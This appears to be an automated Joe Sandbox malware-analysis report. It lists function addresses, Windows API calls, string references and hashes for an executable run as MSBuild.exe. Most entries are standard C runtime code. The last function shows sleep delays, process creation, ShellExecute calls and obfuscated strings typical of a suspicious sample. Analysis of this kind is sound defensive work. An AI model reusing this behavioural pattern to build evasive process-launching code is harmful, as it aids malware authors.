Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID:
API String ID: 2133458128-0
Opcode ID: c3c417c093fb09baf35dd540b3eef54aefa3707314c2d2dfa6951a70df2afbad
Instruction ID: eada768eb5d6ce7ab1658544cefa912d09ae79ca017f32d9d3ef5299af6589e7
Opcode Fuzzy Hash: c3c417c093fb09baf35dd540b3eef54aefa3707314c2d2dfa6951a70df2afbad
Instruction Fuzzy Hash: 1401C07E9045159BCF05EBA4DA857ADBBB1BFC4310F244109E8016B292CFB49F098B91

Function 00A4A08A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00A4A081,00A4829B,00A47952), ref: 00A4A098
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00A4A0A6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00A4A0BF
SetLastError.KERNEL32(00000000,00A4A081,00A4829B,00A47952), ref: 00A4A111

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ca079ed469bb0819f3f25e5dd31ef435814993cb1bc9e1a6c10ea92d36eb444e
Instruction ID: cabf9e38e2ff9b15628805802060bafcb5ac3c39f08852e1e875de4260141a7a
Opcode Fuzzy Hash: ca079ed469bb0819f3f25e5dd31ef435814993cb1bc9e1a6c10ea92d36eb444e
Instruction Fuzzy Hash: BF017B3A29C3119EE72867F87E8666B3769EFE1731B200729F510420F2EFD38C065152

Function 00A4EE6E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,DD6FB6CE,?,?,00000000,00A5D536,000000FF), ref: 00A4EEA3
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00A4EEB5
FreeLibrary.KERNEL32(00000000,?,?,00000000,00A5D536,000000FF), ref: 00A4EED7

Strings

CorExitProcess, xrefs: 00A4EEAD
mscoree.dll, xrefs: 00A4EE9C

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9718536a59c0f1ff99b91a8aa8e7070e7cfb56e1c9421a31a8c9996539ad8248
Instruction ID: 16248b9cd4991ae132d09a6cc628b2afbbcba07e4386d8be3fdea87a52e1d2f4
Opcode Fuzzy Hash: 9718536a59c0f1ff99b91a8aa8e7070e7cfb56e1c9421a31a8c9996539ad8248
Instruction Fuzzy Hash: B1018F36944619FFDB15CF90DC09FAFBBB8FB44B15F000A29F811A22E0DBB49904CA50

Function 00A4362D Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00A43639
int.LIBCPMT ref: 00A4364C

Part of subcall function 00A416AA: std::_Lockit::_Lockit.LIBCPMT ref: 00A416BB
Part of subcall function 00A416AA: std::_Lockit::~_Lockit.LIBCPMT ref: 00A416D5

std::_Facet_Register.LIBCPMT ref: 00A4367F
std::_Lockit::~_Lockit.LIBCPMT ref: 00A43695
Concurrency::cancel_current_task.LIBCPMT ref: 00A436A0

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: f118f3612e7e8bb79a47f5e7852b9451945dd03400bcaef35c7020c23292954d
Instruction ID: 9d3ae63a8fb259fa070dd8101980cd803bd0d5d9a42ff46b8aee2ffa0446b053
Opcode Fuzzy Hash: f118f3612e7e8bb79a47f5e7852b9451945dd03400bcaef35c7020c23292954d
Instruction Fuzzy Hash: DD01F23B900118BBCF14AB64D9559AEBBA8EFC07A0F254109F80697381EF709F81C790

Function 00A42AFD Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00A42B09
int.LIBCPMT ref: 00A42B1C

Part of subcall function 00A416AA: std::_Lockit::_Lockit.LIBCPMT ref: 00A416BB
Part of subcall function 00A416AA: std::_Lockit::~_Lockit.LIBCPMT ref: 00A416D5

std::_Facet_Register.LIBCPMT ref: 00A42B4F
std::_Lockit::~_Lockit.LIBCPMT ref: 00A42B65
Concurrency::cancel_current_task.LIBCPMT ref: 00A42B70

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 7baa95cb57733a7ed9452c235185530fb0bf55022d7e4fecef61caf5f60252aa
Instruction ID: 2cd5bf25699b1962afea85c42525a2de0acc523c5ffe25b6acbf19964c3870d9
Opcode Fuzzy Hash: 7baa95cb57733a7ed9452c235185530fb0bf55022d7e4fecef61caf5f60252aa
Instruction Fuzzy Hash: F601263EA00114ABCB14AF64D946AEE7BA8EFC0360F240109F90197291EF709E42C7C0

Function 00BA7084 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BA708B
std::_Lockit::_Lockit.LIBCPMT ref: 00BA7096
std::_Lockit::~_Lockit.LIBCPMT ref: 00BA7104

Part of subcall function 00BA71E7: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00BA71FF

std::locale::_Setgloballocale.LIBCPMT ref: 00BA70B1
_Yarn.LIBCPMT ref: 00BA70C7

Memory Dump Source

Source File: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 226a61989111a438171cb013bb98836b3de4e38c604af5e92162cf194cacc043
Instruction ID: 5779ae18dc968ddc04cca3387afaefcc0025dfc01f8595912bde1e3523ec90ff
Opcode Fuzzy Hash: 226a61989111a438171cb013bb98836b3de4e38c604af5e92162cf194cacc043
Instruction Fuzzy Hash: A101DFB56085209BD706EF20CC52A7C7BF5FF96700B084089E82267381DF74AE06DB92

Function 00A450E3 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00A450EA
std::_Lockit::_Lockit.LIBCPMT ref: 00A450F5
std::_Lockit::~_Lockit.LIBCPMT ref: 00A45163

Part of subcall function 00A45246: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00A4525E

std::locale::_Setgloballocale.LIBCPMT ref: 00A45110
_Yarn.LIBCPMT ref: 00A45126

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 37af5042fe8a3d2e3a5688d97dfe512fb2969a24e430ba610a8c6a74bcd29bda
Instruction ID: cb36ce60847b2f22674ba51deeca6b3f8d2b112c60128aafdd1ec71fdec62916
Opcode Fuzzy Hash: 37af5042fe8a3d2e3a5688d97dfe512fb2969a24e430ba610a8c6a74bcd29bda
Instruction Fuzzy Hash: 6601DF7DA009209BCB0AEB70D98167DBBB1BFC5340B18800AE90257382CFB46F06CBC1

Function 00A4B1D2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00A4B183,00000000,?,00C4444C,?,?,?,00A4B326,00000004,InitializeCriticalSectionEx,00A5FC70,InitializeCriticalSectionEx), ref: 00A4B1DF
GetLastError.KERNEL32(?,00A4B183,00000000,?,00C4444C,?,?,?,00A4B326,00000004,InitializeCriticalSectionEx,00A5FC70,InitializeCriticalSectionEx,00000000,?,00A4B0DD), ref: 00A4B1E9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00A4B211

Strings

api-ms-, xrefs: 00A4B1F6

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 9e3680bb16d23c61ce80efa2e3e42c8679534e28926e5a19c1ebb22172f4399f
Instruction ID: bd517942689e2d5ce59e2bee25eb049a19dcaec959d39d9942f0c98877a49bdf
Opcode Fuzzy Hash: 9e3680bb16d23c61ce80efa2e3e42c8679534e28926e5a19c1ebb22172f4399f
Instruction Fuzzy Hash: 9FE0E5742C0308BAEE609FA0ED0AB593A68BB51B56F100460FA0CA80E1D7E1ED628695

Function 00A52782 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(DD6FB6CE), ref: 00A527E5

Part of subcall function 00A56D76: WideCharToMultiByte.KERNEL32(00A682C0,00000000,?,00000000,?,?,?,0000FDE9,00000000,?,?,?,00A556DC,?,00000000,00A682C0), ref: 00A56E22

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00A52A40
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00A52A88
GetLastError.KERNEL32 ref: 00A52B2B

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 948c701e487e796e2b18193585cd4e7bdb7ebbd0c9d6d902cdc0065719cb42ba
Instruction ID: dda8086ff0c71628a965d346a631c31cadc29a5cd896a74723e5ba1bf16223e7
Opcode Fuzzy Hash: 948c701e487e796e2b18193585cd4e7bdb7ebbd0c9d6d902cdc0065719cb42ba
Instruction Fuzzy Hash: 75D169B5D002589FCF15CFE8D880AAEBBB5FF4A301F18422AE955E7351D730A946CB50

Function 00A73E80 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00A73EBA
__aulldiv.LIBCMT ref: 00A73EE0
__aulldiv.LIBCMT ref: 00A73F08
__aulldiv.LIBCMT ref: 00A73F28

Memory Dump Source

Source File: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: d86aa860e1b63e345e195eff124fe202710239b5578894bc99b9927dd0c75ba2
Instruction ID: 4d1be6963f44d44449b3d970d8b3d772e1839563abffa4f231c127b4b32e6142
Opcode Fuzzy Hash: d86aa860e1b63e345e195eff124fe202710239b5578894bc99b9927dd0c75ba2
Instruction Fuzzy Hash: 27210EB5650308ABE711DF14CC82F6E77A5EB44700F24C4A8F9149F285C674EA119B98

Function 00A5BC6B Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,00000000,?,?,00A5AC9B,?,?,?,?,?,00A52B7F), ref: 00A5BC82
GetLastError.KERNEL32(?,00A5AC9B,?,?,?,?,?,00A52B7F), ref: 00A5BC8E

Part of subcall function 00A5BC54: CloseHandle.KERNEL32(FFFFFFFE,00A5BC9E,?,00A5AC9B,?,?,?,?,?,00A52B7F), ref: 00A5BC64

___initconout.LIBCMT ref: 00A5BC9E

Part of subcall function 00A5BC16: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00A5BC45,00A5AC88,?,?,00A52B7F), ref: 00A5BC29

WriteConsoleW.KERNEL32(?,?,?,00000000,?,00A5AC9B,?,?,?,?,?,00A52B7F), ref: 00A5BCB3

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 56fa93baeb23e27fdb6da9ae27e79cfdabd71a19625592aa1b57b398f09c8e8a
Instruction ID: eced370bbf61ca6505a5271b0f3b121d48b283a2d0172c9b34901a7a7228f2a2
Opcode Fuzzy Hash: 56fa93baeb23e27fdb6da9ae27e79cfdabd71a19625592aa1b57b398f09c8e8a
Instruction Fuzzy Hash: 14F03036510124BBCF229FE2DD0498E3FA6FB1C3A3F414110FE0995130CB3289219BA5

Function 00A49E90 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00A49ECF
__IsNonwritableInCurrentImage.LIBCMT ref: 00A49F83

Strings

csm, xrefs: 00A49F6D

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 4a680f4f030cbbd521185635e3726314aef8fd31ee2c7ef99af2a4d35401a7b5
Instruction ID: 1536b65d34894812d90316f9606e279a88650c33334c0b21890caa4196b48e34
Opcode Fuzzy Hash: 4a680f4f030cbbd521185635e3726314aef8fd31ee2c7ef99af2a4d35401a7b5
Instruction Fuzzy Hash: 2A418438A00208DFCF10DF69C885A9F7BB5BF85325F148155E8189B392D775DD2ACB91

Function 00A4A79D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00A4A7C2

Strings

MOC, xrefs: 00A4A7D4
RCC, xrefs: 00A4A7DC

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: c491dd04da647e9230d7fe5fb88fdbb2c5899fe19992f9fcb9429893652a4489
Instruction ID: bc6ea233429c023b27a6292579c95f5a95ae606faf62376d2bd6f2eed9e14db9
Opcode Fuzzy Hash: c491dd04da647e9230d7fe5fb88fdbb2c5899fe19992f9fcb9429893652a4489
Instruction Fuzzy Hash: 9641887A940209EFDF15DF98CD81AEEBBB5FF98300F148068F904A7221D335A951DB52

Function 00A415D5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00A415DC
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00A41614

Part of subcall function 00A451E1: _Yarn.LIBCPMT ref: 00A45200
Part of subcall function 00A451E1: _Yarn.LIBCPMT ref: 00A45224

Strings

bad locale name, xrefs: 00A41622

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: ef84782fcf1f140989ac83a71b95ece10aaecc329e0c54b399128186ab1a1bbf
Instruction ID: 968de9974c0084632d39d012a373da49eddf07287c9ed08d5c98247b2ccefe33
Opcode Fuzzy Hash: ef84782fcf1f140989ac83a71b95ece10aaecc329e0c54b399128186ab1a1bbf
Instruction Fuzzy Hash: B2F01776545B809E83309F7A8581447FBE4BE68310394CE2FE0DEC3A12D734E504CBAA

Analysis Process: MSBuild.exePID: 8132, Parent PID: 8108COMMON

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	51

Executed Functions

Function 004CE2E0 Relevance: 75.8, APIs: 16, Strings: 26, Instructions: 2340sleepprocessCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004CE503

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004CE63D
Sleep.KERNEL32(000000C8,?,?,?), ref: 004CEF31
Sleep.KERNEL32(?), ref: 004CEF5A
GetBinaryTypeA.KERNEL32(00000000,FFFFFFFF), ref: 004CEF84
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,00000000,?,?,00000000,00000000,?), ref: 004CF440
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 004CF451
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 004CF45E
GetBinaryTypeA.KERNEL32(?,FFFFFFFF,?), ref: 004CF680
Sleep.KERNEL32(000000C8), ref: 004CF87D
Sleep.KERNEL32(00000000), ref: 004CF8A6
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,00000000,?,?,00000000,00000000,?), ref: 004CFD69
CloseHandle.KERNEL32(?), ref: 004CFD7A
CloseHandle.KERNEL32(?), ref: 004CFD87
__aulldiv.LIBCMT ref: 004D06D7
ShellExecuteA.SHELL32(00000000,?,?,?,00000000,?), ref: 004D087C

Part of subcall function 0053E35A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E365
Part of subcall function 0053E35A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E39F

Part of subcall function 0053E309: AcquireSRWLockExclusive.KERNEL32(0058E970,-00007535,?,004308F2,00590F6C), ref: 0053E313
Part of subcall function 0053E309: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E346
Part of subcall function 0053E309: WakeAllConditionVariable.KERNEL32(0058E96C,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E351

Strings

%, xrefs: 004CEBE5
D, xrefs: 004CF2C8
}{, xrefs: 004CE552
^, xrefs: 004CEFD9
], xrefs: 004D02A6
>, xrefs: 004CF8BB
Lb( , xrefs: 004CF6E7
D, xrefs: 004CFB97
j3l6lrek, xrefs: 004CE7EF, 004CE839, 004CF144, 004CF18E, 004CF250, 004CF29A, 004CF5E5, 004CF62F, 004CFA13, 004CFA5D, 004CFB1F, 004CFB69, 004CFF6E, 004CFFB8, 004D0629, 004D0673, 004D0B87, 004D0BD1
[, xrefs: 004CF8CB
eks, xrefs: 004CE748, 004CF09D, 004CF1A9, 004CF53E, 004CF96C, 004CFA78, 004CFE7D, 004CFEC7, 004D0547, 004D0582, 004D0A96, 004D0AE0
+aii, xrefs: 004D0022
U, xrefs: 004D02AA
;, xrefs: 004CEFD1
<SLYR, xrefs: 004D0804
9, xrefs: 004D02A2
Cao, xrefs: 004D047D
w, xrefs: 004D00A4
U, xrefs: 004D02AE
C, xrefs: 004CEFDD
y, xrefs: 004CEBE9
^, xrefs: 004CEFE1
